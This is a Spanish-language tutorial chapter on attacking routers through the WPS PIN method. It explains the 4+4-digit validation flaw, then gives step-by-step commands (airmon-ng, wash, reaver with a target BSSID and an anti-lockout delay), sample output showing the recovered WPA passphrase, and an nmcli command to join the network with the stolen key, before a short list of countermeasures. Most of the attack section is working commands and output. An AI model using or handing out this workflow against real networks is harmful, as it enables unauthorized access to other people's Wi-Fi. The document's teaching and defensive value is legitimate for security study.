6. Ataque WPS (Wi-Fi Protected Setup)

5. Ataque WPS (Wi-Fi Protected Setup)

5.1 ¿Qué es WPS y por qué se diseñó?

WPS fue creado para que un usuario “no técnico” conectara dispositivos a una red WiFi sin teclear la contraseña larga. Ofrece varios métodos:

1. **PIN**: un código de 8 dígitos impreso en el router.
2. **PBC** (Push-Button Configuration): presionás un botón en router y cliente.
3. **NFC** o **USB** en algunos modelos.

Nos centraremos en el **método PIN**, el más vulnerable.

5.2 Protocolo PIN: cómo funciona internamente

1. El cliente (enrollee) envía solicitud WPS M1.
2. El AP (registrar) responde con M2, revelando un **registro de clave** y otras informaciones cifradas.
3. El cliente envía M3 con los **4 primeros dígitos** del PIN.
4. El AP responde M4 “correcto/incorrecto”.
5. Cliente envía M5 con los **4 últimos dígitos** del PIN + checksum.
6. AP responde M6 “correcto/incorrecto”.
7. Si ambos bloques correctos, intercambian los credenciales WPA/WPA2 reales (M7, M8).

Vulnerabilidad principal: el PIN de 8 dígitos se **divide en dos bloques de validación** (4 + 4), y el último dígito es sólo un checksum. Eso reduce la complejidad de:

```
10⁸ posibles PINs  →  10⁴ (primer bloque) + 10³ (segundo bloque) ≈ 11 000 intentos
```

En vez de 100 millones.

5.3 Herramienta: `reaver` y `bully`

- **Reaver**: clásico, sencillo, soporta tiempo de espera y resume.
- **Bully**: fork optimizado con mejores tiempos de back-off.

Parámetros clave de `reaver`

Opción	Descripción
`-i wlan0mon`	Interfaz en modo monitor.
`-b <BSSID>`	MAC del AP objetivo.
`-c <CH>`	Canal del AP (reduce búsqueda).
`-vv`	Verbose extra (muestra detalles de PINs probados, tiempos, respuestas).
`-d <delay>`	Retraso en segundos entre intentos (útil para no bloquear el router).
`-r <min>:<max>`	Retraso aleatorio entre y segundos.
`--pin=<PIN>`	Prueba un PIN específico (modo manual).
`--session=<file>`	Guarda/reanuda sesión en archivo.

5.4 Flujo típico de ataque WPS

1. **Poner tarjeta en monitor**

   ```
   sudo airmon-ng start wlan0
   ```

2. **Identificar AP con WPS activo**

   ```
   sudo wash -i wlan0mon
   ```

   - Busca APs que respondan a solicitudes WPS. Te muestra si WPS está “Enabled”.

3. **Arrancar Reaver**

   ```
   sudo reaver -i wlan0mon -b 28:77:77:74:B1:AC -c 11 -vv
   ```

   - Comienza a probar PINs en dos fases.
   - Cuando acierta el primer bloque, acelera la búsqueda del segundo.

4. **Interpretar salida**

   - Verás líneas como:

     ```
     [+] Trying pin 1234 0000
     [+] Received M4 = ACK
     [+] 4-digit pin correct, now bruteforcing last 3 digits
     ```

   - Finalmente, cuando descubre el PIN, muestra el **WPA PSK**.

5. **Guardar resultados**

   - Al finalizar:

     ```
     WPA PSK: "MiClaveMuySegura"
     WPS PIN: "12345670"
     ```

- Usá la PSK para conectarte o pasar al cracking offline si quieres verificar.

5.5 Ejemplo práctico completo

Supongamos que el AP “Oficina” tiene:

- **BSSID**: `28:77:77:74:B1:AC`
- **Canal**: `11`

1. **Escaneo WPS**:

   ```
   sudo wash -i wlan0mon
   ```

   Salida:

   ```
   BSSID              Channel  WPS Version  WPS Locked  ESSID
   28:77:77:74:B1:AC    11        1.0          No       Oficina
   ```

2. **Ejecutar Reaver**:

   ```
   sudo reaver -i wlan0mon -b 28:77:77:74:B1:AC -c 11 -vv -d 2
   ```

   - `-d 2` espera 2 s entre cada intento para evitar lockouts.

3. **Captura del PIN y PSK**:

   ```
   [+] WPS PIN: '12345670'
   [+] WPA PSK: 'SuperClaveOficina'
   [+] AP SSID: 'Oficina'
   ```

4. **Conexión**:

   ```
   nmcli dev wifi connect Oficina password SuperClaveOficina
   ```

5.6 Contramedidas

- **Deshabilitar WPS** en el router (ideal).
- **Lockout temporal** tras X intentos fallidos (al menos 5 minutos).
- Actualizar firmware si ofrece parches WPS.
- Usar **802.1X/EAP** en lugar de PSK.
